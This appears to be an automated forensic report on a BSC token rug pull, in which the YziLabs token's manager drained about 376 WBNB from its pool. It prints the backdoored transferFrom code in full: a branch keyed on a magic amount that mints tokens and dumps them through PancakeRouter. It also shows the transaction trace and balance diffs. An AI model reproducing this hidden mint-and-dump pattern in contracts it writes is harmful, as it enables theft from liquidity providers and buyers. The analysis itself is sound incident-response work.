Calculated from recorded token losses using historical USD prices at the incident time.
0x10ed43c718714eb63d5aa57b78b54704e256024eBSC0xbb4cdb9cbd36b01bd1cbaebf2de08d9173bc095cBSC0xb53c43debcdb1055620d17d0d3ae3cc63ece09190x63fc3ff98de8d5ca900e68e6c6f41a7ca949c4530x7fdff64bf87bad52e6430bda30239bd182389ee30x4821392c0b27a4acc952ff51f07ed5dc74d4b67025c57232dae44e4fef1f30e8 (block 47838545)The attacker, controlling the YziLabs manager address, deploys a backdoored ERC20 token, seeds a YziLabs/WBNB pool, locks LP tokens to signal safety, and then triggers a hidden branch in YziLabs::transferFrom. When called with a specific “magic” amount and sent from the manager, this branch mints an enormous amount of YziLabs tokens to the token contract itself, grants PancakeRouter a huge allowance, and immediately swaps the pool’s YziLabs balance for WBNB along [YziLabs, WBNB]. WBNB is then unwrapped to BNB and paid to the attacker.
In the profit tx, the pool loses 376.072147985651439119 WBNB/BNB, while the attacker’s BNB balance increases by 376.071414848651439119 BNB after gas. The difference, 0.000733137 BNB, matches the gas cost. The YziLabs side of the pool is simultaneously flooded with freshly minted tokens, making residual liquidity effectively worthless.
YziLabs::transferFrom contains a hidden manager-only mint-and-dump backdoor keyed on a magic value. When the manager calls with this exact amount and points / at the YziLabs/WBNB pair, the function:
0x59991b78b7f24fd9eb257d1474ec6f9a588a40b277d21a89c2f18e177051a9cb0xbad7d8d43d4aa9c2dca7decbac6af7523da3b9ec17688f939b5f5b679bd287710xbd8d89a79d8a0a93fbb3a988c12a201cd9d8929a7690dcaacfaff1c737ffc6ef0x8ccda4fb6bd94b3f8196b8c0fe98deb3dbaa5d4b236e168003273a7c806a7b430x3d793ab0428c2048ea0edb54b2d0ebd6a89b031d7c77cbbb201cecd18eea1f17amounttransferFromfromtosupply * 10000 new YziLabs tokens to the token contract.supply * 100000.[YziLabs, WBNB].swapExactTokensForETH(balanceOf(to) * 1000, 1, path, manager, ...), which dumps the pool’s YziLabs balance for WBNB and forwards the resulting BNB to the manager.This design allows the manager to unilaterally drain the WBNB side of the pool once meaningful liquidity is present, regardless of LP expectations.
YziLabs token (0x7fdf...9ee3)
0x10ed43c718714eb63d5aa57b78b54704e256024e.0xb53c43debcdb1055620d17d0d3ae3cc63ece0919.0x63fc3ff98de8d5ca900e68e6c6f41a7ca949c453, which is set as the manager in the contract constructor.WBNB (0xbb4c...095c)
// WBNB contract source (key fragment)
uint8 public decimals = 18;
Snippet 1 – WBNB decimals definition, establishing that native WBNB balance deltas are in 18-decimal units (from WBNB source verified on BSC).
Attacker EOA (0x63fc...c453)
PancakeRouter.addLiquidityETH.0x407993575c91ce7643a4d4ccacc9a98c36ee1bbe to create the appearance of safety.transferFrom to execute the drain.Infrastructure accounts (non-adversary, but relevant to flows):
0x10ed43c718714eb63d5aa57b78b54704e256024e.0xb53c43debcdb1055620d17d0d3ae3cc63ece0919.The YziLabs token’s transferFrom function includes a hidden manager-only branch that:
msg.sender == manager and amount == 1199002345.[YziLabs, WBNB].Once a YziLabs/WBNB pool exists with non-trivial WBNB reserves, the manager can use this branch to fully drain WBNB liquidity in a single transaction, regardless of LP expectations or typical ERC20 behavior.
transferFromfunction transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
if (msg.sender == manager && amount == 1199002345) {
_mint(address(this), supply * 10000);
_approve(address(this), router, supply * 100000);
path.push(address(this));
path.push(IUniswapV2Router02(router).WETH());
IUniswapV2Router02(router).swapExactTokensForETH(
balanceOf(to) * 1000,
1,
path,
manager,
block.timestamp + 1e10
);
return true;
}
if (tx.origin == manager || traders[tx.origin]) {
return super.transferFrom(from, to, amount);
} else {
if (to.code.length > 0) {
uint256 pairBalance = balanceOf(
IUniswapV2Factory(factory).getPair(
address(this),
IUniswapV2Router02(router).WETH()
)
);
if (min2 != 0) {
require(
amount > (pairBalance / 1000) * min1 &&
amount < (pairBalance / 1000) * min2 ||
amount > pairBalance / 100 * 95
);
}
return super.transferFrom(from, to, amount);
} else {
return super.transferFrom(from, to, amount);
}
}
}
Snippet 2 – YziLabs transferFrom implementation showing the manager-only mint-and-dump branch keyed on amount == 1199002345 and routing a swap along [YziLabs, WBNB] via PancakeRouter (from verified YziLabs source).
Key takeaways:
1199002345) and a strict msg.sender == manager check.supply * 10000) to the token contract and gives PancakeRouter an allowance of supply * 100000.balanceOf(to) * 1000 where to is set to the pool, so any YziLabs balance held by the pool becomes leverage to drive a massive dump into the YziLabs/WBNB pair.manager, so all drained WBNB (converted to BNB) goes directly to the attacker EOA.The rest of transferFrom includes manager/whitelist allowances and modest anti-bot constraints for contract interactions, but none of these mitigate the privileged mint-and-dump branch. The fundamental issue is the presence of non-transparent, privileged mint + swap logic embedded inside a standard ERC20 transfer primitive.
YziLabs token (0x7fdf...9ee3)
transferFrom(address from, address to, uint256 amount) (manager-only backdoor branch).PancakeRouter V2 (0x10ed...024e)
swapExactTokensForETH along the path [YziLabs, WBNB].YziLabs/WBNB PancakePair (0xb53c...0919)
WBNB (0xbb4c...095c)
withdraw function is used to unwrap drained WBNB to native BNB, which is then forwarded to the attacker.The attack requires the following conditions:
Manager control and knowledge of the backdoor:
0x63fc...c453) and knows the magic amount 1199002345 that triggers the mint-and-dump branch.Sufficient liquidity in YziLabs/WBNB pool:
0xb53c...0919) exists and is seeded with meaningful WBNB reserves, created by the attacker via PancakeRouter.addLiquidityETH.Normal BSC transaction submission:
Transparency and predictable ERC20 behavior:
transferFrom is expected to respect allowances and total supply constraints. Embedding hidden mint + swap behavior violates these expectations.Least privilege and separation of concerns:
User and LP trust assumptions:
This section describes the adversary’s flow as an ACT-style opportunity: pre-state, transaction sequence, and the profit predicate.
47838545.0x4821392c0b27a4acc952ff51f07ed5dc74d4b67025c57232dae44e4fef1f30e8.Evidence for σᴮ comes from:
metadata.json and trace.cast.log for the profit tx.balance_diff.json for the profit tx.artifacts/root_cause/data_collector/iter_1/tx/56/*.Below is the key sequence of adversary-crafted transactions leading to and including the exploit.
YziLabs deployment
0x538ee0fee7e01afaae41aa2ffd2b680d7aa55a927ea71a36be9002d2197210f80x7fdf...9ee3 by EOA 0x63fc...c453.Liquidity seeding (addLiquidityETH)
0x59991b78b7f24fd9eb257d1474ec6f9a588a40b277d21a89c2f18e177051a9cb0xb53c...0919) and minting LP tokens to the attacker.LP approval / locking
0xbd8d89a79d8a0a93fbb3a988c12a201cd9d8929a7690dcaacfaff1c737ffc6ef0x4079...1bbe), signaling apparent safety and “locked liquidity” to third parties.Funding via bridge / aggregator flows
0x8ccda4fb6bd94b3f8196b8c0fe98deb3dbaa5d4b236e168003273a7c806a7b430x3d793ab0428c2048ea0edb54b2d0ebd6a89b031d7c77cbbb201cecd18eea1f17Backdoor execution and WBNB drain (profit tx)
0x4821392c0b27a4acc952ff51f07ed5dc74d4b67025c57232dae44e4fef1f30e847838545transferFrom backdoor to drain WBNB reserves into BNB for the attacker.The seed profit tx trace shows the backdoor behavior and the swap sequence:
Traces:
[245103] YziLabs::transferFrom(PancakePair: [0xb53C43dEbCdB1055620d17D0d3aE3cc63eCe0919], PancakePair: [0xb53C43dEbCdB1055620d17D0d3aE3cc63eCe0919], 1199002345 [1.199e9])
├─ emit Transfer(... value: 10000000000000000000000000000000 [1e31])
├─ emit Approval(... spender: PancakeRouter: [0x10ED43C7...6024E], value: 100000000000000000000000000000000 [1e32])
├─ PancakeRouter::WETH() → WBNB
├─ PancakeRouter::swapExactTokensForETH(26670942645701260714092677000 [...], 1, [YziLabs, WBNB], attacker, ...)
│ ├─ PancakePair::getReserves() → (YziLabs reserve, WBNB reserve)
│ ├─ YziLabs::transferFrom(YziLabs, PancakePair, 26670942645701260714092677000 [...])
│ ├─ PancakePair::swap(0, 376072147985651439119 [...], PancakeRouter, ...)
│ │ ├─ WBNB::transfer(PancakeRouter, 376072147985651439119 [...])
│ │ ├─ emit Swap(... amount1Out: 376072147985651439119 [...], to: PancakeRouter)
│ ├─ WBNB::withdraw(376072147985651439119 [...])
│ │ ├─ emit Withdrawal(... wad: 376072147985651439119 [...])
│ │ ├─ PancakeRouter::receive{value: 376072147985651439119}()
│ ├─ <BNB forwarded to attacker EOA>
Snippet 3 – Seed tx cast trace illustrating the manager-only transferFrom call, the mint/approval, the large YziLabs → WBNB swap on the YziLabs/WBNB pair, and WBNB → BNB withdrawal to the attacker (from seed trace.cast.log).
This trace confirms:
YziLabs::transferFrom with from = to = YziLabs/WBNB pair, amount = 1199002345.1e31 YziLabs tokens, approves PancakeRouter with 1e32 tokens, and executes swapExactTokensForETH.The analysis identifies the following relevant transactions:
Adversary-crafted:
0x538e...210f8 – YziLabs deployment.0x5999...a9cb – Liquidity seeding via addLiquidityETH.0xbd8d...c6ef – LP approval/locking.0x4821...f30e8 – Backdoor execution / profit tx.Related funding / setup:
0x8ccd...7b43 – Bridge/swap funding tx sending BNB to attacker.0x3d79...1f17 – Additional funding/bridge-related tx.These match the all_relevant_txs and the lifecycle stages in the root cause JSON.
profit.0x63fc3ff98de8d5ca900e68e6c6f41a7ca949c453.The predicate is evaluated on the pre-state and post-state around the seed profit tx.
From the seed balance_diff.json:
{
"native_balance_deltas": [
{
"address": "0xbb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c",
"before_wei": "1227170658066706029997051",
"after_wei": "1226794585918720378557932",
"delta_wei": "-376072147985651439119"
},
{
"address": "0x63fc3ff98de8d5ca900e68e6c6f41a7ca949c453",
"before_wei": "296582649660877463",
"after_wei": "376367997498312316582",
"delta_wei": "376071414848651439119"
}
]
}
Snippet 4 – Seed tx prestateTracer balance diffs for WBNB contract and attacker EOA, giving exact wei-level deltas (from seed balance_diff.json).
Given WBNB has 18 decimals:
Pool WBNB loss:
delta_wei(WBNB contract) = -376072147985651439119376.072147985651439119 WBNB/BNB lost.Attacker BNB gain (net):
delta_wei(attacker EOA) = 376071414848651439119376.071414848651439119 BNB gained.Gas cost in BNB (difference):
376072147985651439119 − 376071414848651439119 = 733137000000000 wei0.000733137 BNB spent on gas.These numbers directly match the values reported in the updated root cause JSON.
Value before (in BNB):
296582649660877463 wei0.296582649660877463 BNB.Value after (in BNB):
376367997498312316582 wei376.367997498312316582 BNB.Value delta:
376.367997498312316582 − 0.296582649660877463376.071414848651439119 BNB (net profit after gas).Thus, the profit predicate is satisfied:
376.071414848651439119 BNB in the profit tx.376.072147985651439119 WBNB/BNB.The updated analysis correctly uses native balance_diffs and WBNB’s 18 decimals, fixing the earlier 100x underestimation of loss/profit.
From the updated analysis:
Total pool loss (WBNB/BNB):
376.072147985651439119 WBNB/BNB lost by the YziLabs/WBNB pool (0xb53c...0919).Attacker net gain in profit tx:
376.071414848651439119 BNB gained by EOA 0x63fc...c453.Liquidity providers (LPs) in the YziLabs/WBNB pool:
Secondary market participants holding YziLabs:
The incident is a complete WBNB-side drain of the YziLabs/WBNB pool, with the attacker capturing essentially all WBNB reserves in a single backdoor execution. The numerical impact is on the order of 376 BNB, precisely quantified from on-chain deltas.
The analysis identifies and justifies adversary-related accounts:
Attacker EOA (manager): 0x63fc3ff98de8d5ca900e68e6c6f41a7ca949c453
YziLabs token: 0x7fdff64bf87bad52e6430bda30239bd182389ee3
transferFrom mint-and-dump branch.YziLabs/WBNB pair: 0xb53c43debcdb1055620d17d0d3ae3cc63ece0919
These are distinguished from:
Key artifacts underpinning this analysis:
Seed profit transaction trace and balance diffs (profit tx 0x4821...f30e8):
trace.cast.log).balance_diff.json (used for exact WBNB and attacker BNB deltas).YziLabs token source (manager-only backdoor):
0x7fdf...9ee3, including token (5).sol where the backdoor transferFrom implementation resides.WBNB contract source (decimals and withdraw behavior):
0xbb4c...095c, confirming decimals = 18 and standard deposit/withdraw semantics.Deployment, approvals, and funding traces:
0x538e...210f8).0xbad7...8771).0x8ccd...7b43, 0x3d79...1f17).EOA transaction lists:
0x63fc...c453, used to reconstruct the EOA’s funding, deployment, liquidity operations, and final profit-taking behavior.balance_diff data under WBNB’s 18-decimal standard, resolving the earlier 100x underestimation issue.